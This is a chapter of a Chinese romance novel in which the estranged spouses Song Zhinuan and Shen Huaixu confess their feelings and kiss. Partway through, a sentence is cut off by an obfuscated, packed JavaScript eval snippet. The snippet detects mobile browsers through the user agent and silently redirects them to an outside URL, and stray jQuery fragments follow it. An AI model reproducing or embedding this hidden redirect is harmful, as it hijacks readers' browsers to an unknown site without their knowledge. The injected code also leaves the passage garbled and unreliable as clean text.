宋知暖一口气跑到云景大厦门前，却猛地顿住了。


    他看到了沈淮煦。


    却不是在云景大厦。


    而是在司机李叔说的，公司对面的公寓。


    他穿着一身白色衬衫配黑色西裤，袖子半挽至手肘处。也许是今天不用上班，他的穿着比平日都要随意一点，领口松开两颗扣子，带着一点慵懒随性。


    他低着头，言笑晏晏地看向并排走在他身旁的一个女人。


    那个女人很美。


    飒爽的齐肩直发，一袭无袖的红色连衣裙，就连风和太阳都特别眷顾她似的。风从两人身边轻轻拂过，将她的裙摆扬起，阳光洒下来，她整个人都在发光。


    沈淮煦带着她走到车前，接过司机的递上来的钥匙，很绅士地给她打开副驾驶的车门。那个女人本来已经俯身准备钻进车里，不知道想起什么，她突然又直起身，转过头看向沈淮煦。不知道她说了什么，沈淮煦有些无奈地摇摇头，笑了。


    似是无奈，又似是宠溺。


    贝琴说，沈淮煦这个人很不好相处，他可以直接对联姻对象甩脸色。


    宋知暖也见识过他工作时的样子，不苟言笑。


    她还是第一次见，他也会对别人这么笑。


    这个女人，对他来说，一定是很重要的人吧？


    原来，她的身边早就有人了。


    而且，他们好般配啊。


    她不仅漂亮，而且浑身上下都透着一股精英感。


    所有的勇气，在这一刻，突然偃旗息鼓。


    如果沈淮煦已经有别的女人，那么，这个答案也就没有意义了。


    而且，就连她也觉得，那个女人，比她更配得上沈淮煦。


    那个女人已经上车了，沈淮煦关上车门，正从车头绕到驾驶位。


    像是做了坏事一样，宋知暖一阵心慌，立刻转过头，快步往回走。


    走了几步，还是觉得太慢了，她忍不住小跑起来。


    沈淮煦走到驾驶位，拉开车门的时候，似是有什么感应一样，他突然抬起头看向对面。


    一抹熟悉的身影慌慌张张地从云景大厦前跑开。


    他微微蹙起眉头，半眯起眼睛，双眼直直地看着那道身影，直到她完全消失在视线里。


    他肯定自己没有看错，是宋知暖。


    今天是周六，她来云景干什么？


    找他？


    他拿出手机，没有看到宋知暖的信息。


    “William？”Amy看沈淮煦在车外站了很久都没进来，低下头叫了他一声，“是有什么事吗？”


    “没有。”沈淮煦收起手机，坐了上车。


    Amy见他脸色有些凝重，忍不住问道：“是不是有什么事？我自己去机场也可以。”


    沈淮煦微微抿唇笑道：“没事。我送你。”


    宋知暖刚拐过云景大厦，李叔刚好开着车子上来了：“宋小姐！”


    “李叔。”宋知暖走了上去，重新坐上车。


    “你见到少爷了吗？”


    “嗯。”宋知暖点点头。


    李叔也不好多问，只是问道：“那我们现在……”


    “回江湾华府吧。”


    ……


    宋知暖回到家，浑身瘫软地躺在沙发上。


    不是因为激烈地奔跑过后，而是身体蓄满了冲劲和勇气后，却又在一瞬间消失殆尽的空虚。她的脑海里反复浮现出沈淮煦和那个女人的身影。心脏皱缩，胸腔的空气被挤出，疼痛密密麻麻地袭来。


    为什么？


    为什么贝琴要告诉她沈淮煦喜欢她。


    如果她不知道，她就可以像之前那样，只要等到冷静期满，就去领离婚证。


    从此桥归桥，路归路就好了。


    为什么她要去问一个答案？


    为什么要她看到沈淮煦也可以对着别的女人笑得那么开心？


    是要她彻底死心吗？


    她的心口又闷又痛，几乎呼吸不上来的时候，电话响起一条微信提示音。


    她拿起来一看，身体瞬间僵住了。


    沈淮煦。


    她的手指迟疑着点开了信息。


    沈淮煦：【在家吗？】


    宋知暖的心怦怦直撞，他想干什么？她在不在家又怎样？


    她直接问道：【怎么啦？】


    沈淮煦：【我有东西找不到，可能是漏在你那里了。】


    宋知暖微微松了口气，但心口的滞闷感还在。


    她还没回复，沈淮煦的信息又进来了：【我方便上去拿吗？】


    什么？他要过来？


    她想起他刚才是和那个女人一起上车的，他该不会要带着她一起来吧？


    宋知暖：【但我现在不在家。】


    宋知暖：【是什么东西？不介意我回家帮你找找给寄过去。】


    这下，沈淮煦的消息过了好几分钟才回过来。


    沈淮煦：【也不确定是不是在你那】


    沈淮煦：【你什么时候回来？我还是自己上去看看。】


    宋知暖：【可能会比较晚。】


    她刚发出去，又觉得不应该这么说。


    万一他说多晚都可以呢？


    可是，现在撤回，不知道他看到没。


    还显得欲盖弥彰。


    她赶紧加了一条：【要不你现在自己过去吧】


    【你的指纹我没删，密码也没改。】


    又是几分钟过去。


    沈淮煦才回道：【竟然还没删啊】


    宋知暖：？


    怎么品出一丝得意？


    宋知暖：【最近忙，忘了。你今天过来吧，早点来，我今晚回来就删。】


    沈淮煦：【行】


    宋知暖沉沉地吐了口气，立马从沙发上起来。


    她不知道沈淮煦从哪里过来，不过应该不至于马上就到吧。


    不过她也不敢耽误，好在她从外面回来还没换衣服，现在直接出门就可以。


    等沈淮煦走了后，她再回来就好了。


    完美！


    宋知暖出门打了辆车，上车后才给林晚星打电话：“星星，要不要出来逛街吃饭，我请！”


    林晚星不知道宋知暖今天是怎么回事，怎么又这么多精力。


    他们从下午5点逛到晚上10点，中间只有两个小时中场休息用来吃晚饭。


    本以为吃完晚饭就算了，没想到宋知暖提出去另一个商场继续逛。


    林晚星只能理解成她是因为离婚伤心过度产生的一些失常反应。


    直到10点，商场准备打烊，她们不得不回去了。


    宋知暖想了想，沈淮煦是下午4点多给她打的电话。


    再磨蹭，现在也应该拿到东西走了吧？


    于是，她也放心地回家去了。


    “嘀”地一声打开门的时候，她看到黑漆漆的房子，彻底松了口气。


    屋子没开灯，说明没人。


    沈淮煦应该已经走了。


    她放心地走了进去，开灯，关门。


    刚转过身来，却看到一个身形颀长的男人从楼梯上款款走下。


    她还没看清来人，就吓得尖叫起来：“啊——啊——啊——”


    沈淮煦皱起眉头，幽幽地说道：“叫什么，是我。”


    听到熟悉的声音，宋知暖像被掐掉了声音一样，瞬间闭上了嘴，睁开一只眼睛，透过眼缝悄悄地打量起对方。


    待看清楚来人真的是沈淮煦时，她倏地睁开双眼，大失所望地说：“你怎么还在啊？”


    字里行间写满了不欢迎。


    沈淮煦的眉头皱得更紧了。


    也不是他想来的。


    他下午送Amy去机场的路上，收到了贝琴的微信，说她今天邀请宋知暖回家吃饭，但是看她眼睛红红的，整个人都很不开心，一提起他就很难过。让他抽时间好好跟宋知暖谈谈。


    沈淮煦看到这条信息后，想都没想，突然猛踩刹车，对Amy说：“对不起，我恐怕真的没法送你去机场，我帮你另外叫辆车。


    Amy走了之后，他坐在车上，看着贝琴这条短信陷入了沉思。


    宋知暖很难过，她难过什么？离婚不是她想要的吗？


    他又想起刚才在云景大厦看到宋知暖，她去云景大厦是为了找他吗？


    如果是的话，为了来了又要走？


    他打开微信，点开了宋知暖的头像，给她发了一条信息：【在家吗？】


    宋知暖说她不在家，她从云景大厦离开后没有直接回家？


    宋知暖又说，他的指纹还在。


    他在暗喜之余，便直接来到江湾华府。


    这里跟以前没有什么两样，除了宋知暖的房间外，他细细查看了每个角落，确认没有男人的东西。很好。


    检查完之后，他回到自己房间。他的房间也和之前一样，完全没有动过。似乎这房间的主人只是临时离开了，并不是不回来。这一切让他心情莫名地愉悦起来。


    可是，他在房间坐了一个小时又一个小时，却迟迟未见宋知暖回来。


    一直到刚才，他终于听到开门声走了下来，宋知暖却像见鬼一样大叫起来。


    沈淮煦忍下心里莫名升起的烦躁，说：“是你让我自己上来的。”


    “哦，是……”宋知暖想起来了，她刚点了两下头，又倏地愣住了，“你什么时候过来的？你拿东西拿到现在还没拿好吗？”


    亏她还在外面躲了大半天，没想到还是要和他撞面。


    她又打量起沈淮煦，看他两手空空的，疑惑地说：“还有，你的东西呢？”


    沈淮煦根本就不是来拿东西的，他一时也没法圆，信口胡诌道：“找不到，不知道扔哪里了。”


    宋知暖眉头皱了起来：“……那你，现在是要走了？”


    “嗯。”沈淮煦应道，“正打算走。”


    宋知暖想到自己还站在大门，挡住了沈淮煦的去路，便往屋内挪去，将空间挪出来。


    沈淮煦自己说了要走，也不好一直站在屋里，便也迈开步子往大门走去。


    他们一个往屋里走，一个往门外去。


    擦肩而过时，宋知暖客套地说句：“不送了。”


    沈淮煦礼貌地回道：“不必。”


    宋知暖已经走到楼梯口，沈淮煦也来到了大门。


    一个抬脚准备迈上台阶，一个把手放在门把上。


    “宋知暖。”突然，有人打破了这和谐的进程，突然转过身来喊了一句。


    宋知暖被叫得心头一颤，立刻撤回刚才的动作，把脚从台阶上放下来，在楼梯口转过身看向沈淮煦：“怎么啦？”


    “你今天去过云景大厦吗？”他还是问了出来。


    他才不是来找东西，他半路把自己公司合伙人扔下赶回来，又在屋里干坐了大半天，才不是为了找什么东西。他就是为了问宋知暖一句话。


    “你是去找我吗？”


    宋知暖呼吸凝滞，他竟然知道。他看到了她？


    她强迫自己慢慢找回呼吸，佯装镇定地说：“没有啊，我没有去过云景大厦，更没有去找你。”


    “没有？”沈淮煦眉峰压下，他不可能看错。


    就连她现在身上穿的衣服，都跟他下午看到的一模一样。


    宋知暖心虚地笑道：“没有啊，我去找你干什么。”


    我去找你干什么。


    是啊，她来找他干什么呢。


    他怎么就那么傻，他为什么还专程浪费大半天时间在这里等一个无聊的答案。


    心口郁结，他转过身，失落地说道：“那就当我看错了吧。”


    只要他的手掌稍稍用力，就能把门打开。


    然后，他从这里离开，从此一别两宽。


    “我今天一跟小暖提起你，她的眼睛就红了。我感觉她好像挺舍不得你的，你们是不是有什么误会，你要不找她好好聊聊？”


    他的脑海里又闪出贝琴下午发他的信息。


    她为什么会眼睛发红？她是因为他而难过吗？她为什么去云景大厦？为什么去了又要走？为什么现在又要撒谎？


    他一个问题都没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187478|159762||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    解决，反而将问题越积越多，他真的就要这样走吗？


    沈淮煦深呼吸一口气，再一次转过身。


    宋知暖还站在楼梯口，看到沈淮煦再次转过身来，有些疑惑地皱了皱眉。


    “你还有什么忘拿了吗？”


    沈淮煦双眼定定地盯着她，大步流星地朝她走了过去，说道：“有。”


    宋知暖看着沈淮煦步步紧逼，莫名地紧张起来，问道：“什么？”


    沈淮煦走到宋知暖面前，低着头看着她：“我有一个问题的答案在你这里，我今晚必须拿走。”


    宋知暖心弦触动，瞳孔倏地放大。


    答案。


    她今天本来想去找沈淮煦要一个答案的。


    现在，沈淮煦也来找她要一个答案？


    “什，什么答案？”


    “你是不是喜欢我？”


    宋知暖如遭雷劈，呼吸骤然放缓，大脑也停止了思考。


    怎么可以有人问得这么直白？！


    空气安静得简直像停止了流动。


    沈淮煦的心脏在剧烈地跳动，每等待多一秒都像是对他的凌迟。


    可是，宋知暖偏偏就是一个字不说，只是怔怔地看着他。


    他的喉结紧张地反复上下滚动，他深呼吸一口气后，再次开口问道：“或者，我这么问吧。”


    “宋知暖，这三年里，你对我动过心吗？哪怕就一次，一瞬间？”


    宋知暖不知道是没听懂他的话，还是在回答他。


    她的身体僵硬，头却像是坏掉的机器一样，机械地左右摇摆。


    沈淮煦的心如坠冰窖，手脚都开始冰凉了。


    “不止一次……”


    直到宋知暖的声音响起，下坠的心倏地停下，悬停在空中。


    沈淮煦也在这一刻停止了呼吸。


    “其实，有很多个瞬间。”


    沈淮煦缓缓地吸了一口气，重获呼吸，心像是意外获得神力，又重新飘飘然升起。


    “我曾经以为那是所谓的吊桥效应，但是我发现即使过了很久，这种感觉都没有消失。我强迫自己不要想你、不要找你、不要联系你，可是，这就像一个被摁在水里的气球一样，你越是努力地往下摁，它就越用力地想要往上浮。”


    宋知暖抬头看着沈淮煦，像是下定了决心一样吞咽了一口，说道，“我意识到自己，可能喜欢上你了。”


    心脏像是一路向上的烟花，终于绽放在夜空中。


    沈淮煦甚至有些不敢相信，以为是自己的幻觉。


    他声音颤抖地问：“什么时候？你是什么时候发现的……”


    “我也说不清了……大概是，你那年除夕突然要去美国那一次吧，我发现自己没法控制自己不去想你，很想很想，做梦都会见到你……”


    除夕……他也想起来了。


    那年，他在美国公司正在进行拆分重组，临时通知他有份文件有误，急需他回去处理。


    他当时还有些生气，虽然是他自己要走的，但是宋知暖竟然一点都不挽留他，而且还很开心的样子。


    他没想到，宋知暖原来，一直在想着他……


    “那你为什么不告诉我？你为什么从来没告诉过我？”


    宋知暖抿起双唇，低下头。


    半响，她才低声说道：“因为，我不敢想。”


    “不敢想？”沈淮煦皱起眉头，“不敢想什么？”


    “不敢想，和你会有什么结果。”


    仿佛被触到了痛处，宋知暖的眼眶一瞬间就红了起来。


    “我很害怕，这一切都是我的一厢情愿。我们的婚姻，本就是一场协议，是有期限的，到期就会终止。我不敢让自己喜欢上你。我不希望自己喜欢上你之后，却又不得不和你分开。这种感觉太痛了，我不想再尝试。”


    宋知暖的眼泪已经滚了下来，她哽咽道：


    “我希望自己在协议结束的时候，可以很潇洒地离开。”


    沈淮煦的心口碎裂般地疼痛起来。


    像是自己发出的利刃，倏地调转方向，扎向他的心。


    他当初自诩聪明地用这一纸协议换来和宋知暖的三年婚姻，没想到却也几乎成为断送他们可能的凶器。


    他双手捧着宋知暖的脸，用拇指指腹给她擦去脸上的泪水，心疼又自责地说道：“你怎么那么傻？”


    宋知暖反驳道：“我哪里傻？你是没有试过被喜欢的人拒绝，你是没试过要将一个很爱很爱的人从心里剥离出去的感觉。”


    沈淮煦却带着不服气地说：“谁说我没试过。”


    宋知暖张嘴还想说什么，却猛地被堵住。


    沈淮煦捧着她的脸，吻了下来。


    她还来不及闭眼，双眼怔怔地看着沈淮煦近在咫尺的眼睫毛。


    沈淮煦又吻了她。


    他比上次温柔很多，缓缓地舔舐，吞吐着她的呼吸，传递着心跳的频率。


    宋知暖缓缓地闭上眼睛，像是在空中漂浮了很久的心，终于被人接住了。


    沈淮煦逐渐强硬，舌尖轻巧地撬开她柔软的唇瓣，霸道地长驱直入，与她小巧的舌头纠缠在一起。宋知暖仿佛被抓住了呼吸。


    身体几乎缺氧，浑身的力气也被攫取。


    她几乎站不住时，沈淮煦强劲的双手猛地抱起她的大腿。


    宋知暖轻叫了一声，双脚下意识地夹在沈淮煦的腰上，双手圈在他的脖子上，像只树懒一样挂在沈淮煦身上。


    沈淮煦却没有立刻进行下一步动作，蓄满欲望的双眼安静地看着她，却还在等待她给出进入下一步的通行证。


    两人就连呼吸都在发烫。


    宋知暖什么都没说，圈在脖子上的手却骤然收紧，她主动将自己的唇贴上沈淮煦的唇。


    无声而又直白的答复。


    沈淮煦似乎有些意外，没接住她的回复似的，往后轻轻退了两步才站定。


    他承接着宋知暖毫无章法的吻，转瞬反客为主，进行新一轮更加凶猛的掠夺。


    他一边吻，一边迈开步子，抱着宋知暖向着楼上走去。